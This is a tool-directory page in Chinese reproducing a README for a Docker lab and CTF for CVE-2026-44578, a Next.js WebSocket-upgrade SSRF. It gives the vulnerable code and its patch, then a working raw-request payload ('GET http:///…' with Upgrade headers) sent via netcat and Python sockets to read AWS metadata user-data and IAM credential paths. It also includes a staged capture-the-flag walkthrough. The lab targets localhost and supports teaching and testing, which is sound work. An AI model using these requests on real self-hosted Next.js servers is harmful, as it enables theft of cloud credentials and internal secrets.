Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-44578-next-js-ssrf — 这个实验室可能好也可能坏,正在测试中,但应该能用,去问问AI吧哈哈 | Kitploit
工具/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试云安全实验室与实践
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

这个实验室可能好也可能坏,正在测试中,但应该能用,去问问AI吧哈哈

查看仓库网站
421个月前尚未审核
分享

CVE-2026-44578 — Next.js WebSocket 升级 SSRF(实验室)

自包含实验室,用于复现 Next.js 自托管 应用中使用内置 Node.js 服务器时的 CVE-2026-44578(CWE-918,SSRF)漏洞。

字段值
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 高危 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
类型SSRF(CWE-918)
受影响版本Next.js 13.4.13 – 15.5.15 和 16.0.0 – 16.2.4
已修复版本15.5.16 和 16.2.5
认证无
用户交互无

实验室拓扑

攻击者 (host: 0.0.0.0)
    │  HTTP :3000 (公开)
    ▼
┌──────────────────────────┐  同一网络命名空间  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ 伪造 AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (凭据,              │
│ (内置 Node 服务器)        │                           │  user-data, 索引)   │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln(端口 3000):易受攻击的应用,暴露于 0.0.0.0:3000。
  • imds-sidecar:AWS 元数据服务的模拟,位于 Next.js 容器命名空间 内部 的 localhost:80,模拟真实云实例。无法从主机直接访问(未发布端口)。
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # 自动化 PoC(5 个探测)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # 伪造 IMDSv1 + 秘密路由
                        └── nextjs-app/             # 真实应用 "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # 导航栏/页脚
                            │   ├── page.js         # 落地页
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (易受攻击)

为何易受攻击

router-server.ts 中的 WebSocket 升级处理器在解析后的 URI 具有 parsedUrl.protocol 时调用 proxyRequest(),未 检查普通 HTTP 处理器始终发出的 finished 和 statusCode 标志:

  // 易受攻击 (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // 补丁 (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

攻击路径使用 双斜杠绝对 URI 的请求行: GET http:///path。normalizeRepeatedSlashes 将 http:/// 折叠为 http:/,从而没有主机名,然后 http-proxy 连接到 localhost:80,路径保持不变:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: Upgrade + Upgrade: websocket 头的存在使请求落入易受攻击的升级处理器,而不是具有安全检查的 HTTP 处理器。

启动实验室

docker compose up -d --build

验证应用响应:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

为了使其在 0.0.0.0 上运行,docker-compose.yml 中的端口映射已在所有接口上暴露 3000:3000。

手动利用

1. 使用 netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. 使用纯 Python(标准库,无依赖)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. 使用自动化 PoC

python3 exploit/exploit.py 127.0.0.1 3000

CTF — 手动捕获最终标志

完整 100% 手动流程,分 4 个阶段。内部服务(localhost:80)中隐藏着 4 个标志;本指南展示到达第一个标志的流程,并为你留下寻找其余标志的路径。

阶段 1 — 侦察

# 服务器指纹
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# 通过 socket 检查开放端口(无需 nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

攻击者无法直接访问 127.0.0.1:80:唯一途径是让 Next.js 服务器(与内部服务位于同一网络)替我们发起请求。

阶段 2 — 通过 SSRF 枚举元数据服务

首先通过查询元数据服务的索引来确认 SSRF:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

索引响应 → 候选:instance-id、hostname、iam/security-credentials/、user-data(第一个标志)。latest/meta-data/ 的索引还揭示了值得继续探索的子键。

阶段 3 — 逐字节构造载荷

GET http:///latest/user-data HTTP/1.1
部分功能
GET该漏洞仅代理 GET
http:///latest/user-data绝对 URI。http:/// 折叠为 http:/ → 主机名为空 → 代理连接到 localhost:80,保留路径 /latest/user-data
Host: 127.0.0.1:3000否则服务器返回 400
Connection: Upgrade + Upgrade: websocket将请求引导至 易受攻击的 升级处理器(普通 HTTP 处理器确实会验证)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==合法握手所需的最少头

终止:原始 socket 上的 \r\n\r\n(无正文)。

阶段 4 — 手动触发并捕获标志

# 选项 A:netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# 选项 B:Python 原始 socket(同样精确,无需 nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

输出 — 第一个标志 在内部服务响应的正文中到达:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

已获得标志 1/4。 server: BaseHTTP/0.6 ...(Python 模拟)头确认请求经过了 攻击者 → Next.js → localhost:80,即标志通过 SSRF 从内部网络被窃取。其余 3 个散布在元数据服务和内部服务的路径中 — latest/meta-data/ 的索引是你的地图。找到其余标志。

实验室中暴露的端点

伪造的 IMDS(localhost:80)模拟真实的 AWS 元数据服务:它是一个 可导航的树。每个目录(以 / 结尾)响应其子路径的索引;请求不带 / 的目录返回 301 重定向。没有隐藏路径:没有标志需要猜测 — 一切通过导航索引发现。

/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → 启动脚本(指向 internal/config)
路径内容
latest/meta-data/元数据索引(见上方)
latest/meta-data/iam/security-credentials/角色 lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-role包含 AccessKeyId、SecretAccessKey 和 Token 的 JSON
latest/user-data包含数据库凭据的启动脚本
latest/dynamic/instance-identity/document实例身份 JSON
internal/config内部服务的配置(DB、API 密钥)— 由 user-data 引用

CTF 挑战: 有 4 个标志,每个都是针对 AWS 的 SSRF 利用链中的 真实工件:(1) 启动 user-data,(2) IAM 凭据,(3) 身份文档,(4) 内部服务配置。其值 未公开。导航索引(/ → latest/ → …),你将从一个横幅到下一个横幅;user-data 脚本会告诉你第四个标志的位置。无需猜测路径:404 只会暴露你在发明不存在的路径。

解决指南(渐进式剧透)

完整版本包含标志→标志链,见单独文档: SOLUCION.md(每个标志给你下一个的提示,不在本 README 中)。

规则: 每个标志有一个提示、一个 障碍 和解决方案。先用提示尝试;卡住时使用障碍。没有隐藏路径:没有伪造,一切皆可导航。

开始前两个注意事项:

下载工具